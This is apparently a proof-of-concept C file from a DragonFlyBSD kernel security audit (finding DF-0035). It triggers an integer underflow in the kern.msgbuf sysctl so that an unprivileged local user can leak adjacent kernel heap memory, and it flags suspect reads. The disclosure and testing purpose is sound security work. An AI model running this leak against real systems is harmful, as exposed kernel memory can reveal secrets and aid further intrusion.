DragonFlyBSD Kernel Audit
DF-0035 / msgbuf_oob.c
← back to finding ↓ download raw
/*
 * DF-0035 PoC - integer underflow in sysctl_kern_msgbuf (3rd branch) leaks
 *              kernel heap adjacent to the msgbuf via kern.msgbuf.
 *
 * sysctl_kern_msgbuf (sys/kern/subr_prf.c) 3rd branch (:1177-1184) is entered
 * only when xindex_modulo==0 (msg_bufx is an exact multiple of msg_size), in
 * which case n == msg_size - rindex_modulo. It passes length `n - rindex_modulo`
 * (= msg_size - 2*rindex_modulo) to sysctl_handle_opaque, which UNDERFLOWS
 * (u_int) to ~4GB when rindex_modulo > msg_size/2. The copyout (capped at the
 * user's oldlen) then reads from msg_ptr+rindex_modulo past msg_ptr+msg_size
 * into adjacent kernel heap.
 *
 * Default unprivileged_read_msgbuf=1, so any local user can poll kern.msgbuf
 * to hit the window (msg_bufx crosses a msg_size boundary ~once per 1MB of
 * kernel log, while the reader lags past the midpoint).
 *
 * Build (DragonFlyBSD):  cc -o msgbuf_oob msgbuf_oob.c
 * Run as an UNPRIVILEGED user (disposable VM; may need sustained polling).
 *
 * Expected (bug present): some sysctl reads return bytes beyond the valid
 * msgbuf (adjacent kernel-heap residue), observable as non-ASCII / pointer-
 * like data or a returned-length anomaly. On a fixed kernel the read length
 * is always <= msg_size and contents are valid msgbuf text.
 */

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int
main(void)
{
	int name[2] = { CTL_KERN, /* kern.msgbuf */ };
	/* Use the well-known name "kern.msgbuf". */
	size_t len = 0;
	if (sysctlbyname("kern.msgbuf", NULL, &len, NULL, 0) != 0) {
		perror("sysctlbyname(len)");
		return 1;
	}
	if (len == 0)
		len = 1 << 20;		/* ask for up to ~1MB */
	char *buf = malloc(len);
	if (!buf) return 1;

	unsigned long hits = 0, tries = 0;
	for (long i = 0; i < 2000000L; i++) {
		size_t l = len;
		memset(buf, 0x5a, len);
		if (sysctlbyname("kern.msgbuf", buf, &l, NULL, 0) != 0)
			continue;
		tries++;
		/* A "hit": returned region contains many non-ASCII / non-text bytes
		 * beyond what a normal msgbuf holds, suggesting adjacent heap. */
		size_t nonprint = 0;
		for (size_t k = 0; k < l; k++)
			if ((unsigned char)buf[k] != '\n' && (buf[k] < 9 || buf[k] > 126))
				nonprint++;
		if (l > 0 && nonprint * 4 > l) {	/* >25% binary => suspect */
			hits++;
			if (hits < 4) {
				fprintf(stderr,
				    "[*] suspect read #%lu: %zu bytes, %zu non-printable "
				    "(possible adjacent heap)\n", hits, l, nonprint);
			}
		}
	}
	fprintf(stderr, "[*] %lu sysctl reads; %lu suspect (OOB-heap) hits\n",
	    tries, hits);
	fprintf(stderr, "[*] result: %s\n",
	    hits ? "likely LEAK CONFIRMED" : "no hit this run (race window)");
	free(buf);
	return hits ? 0 : 2;
}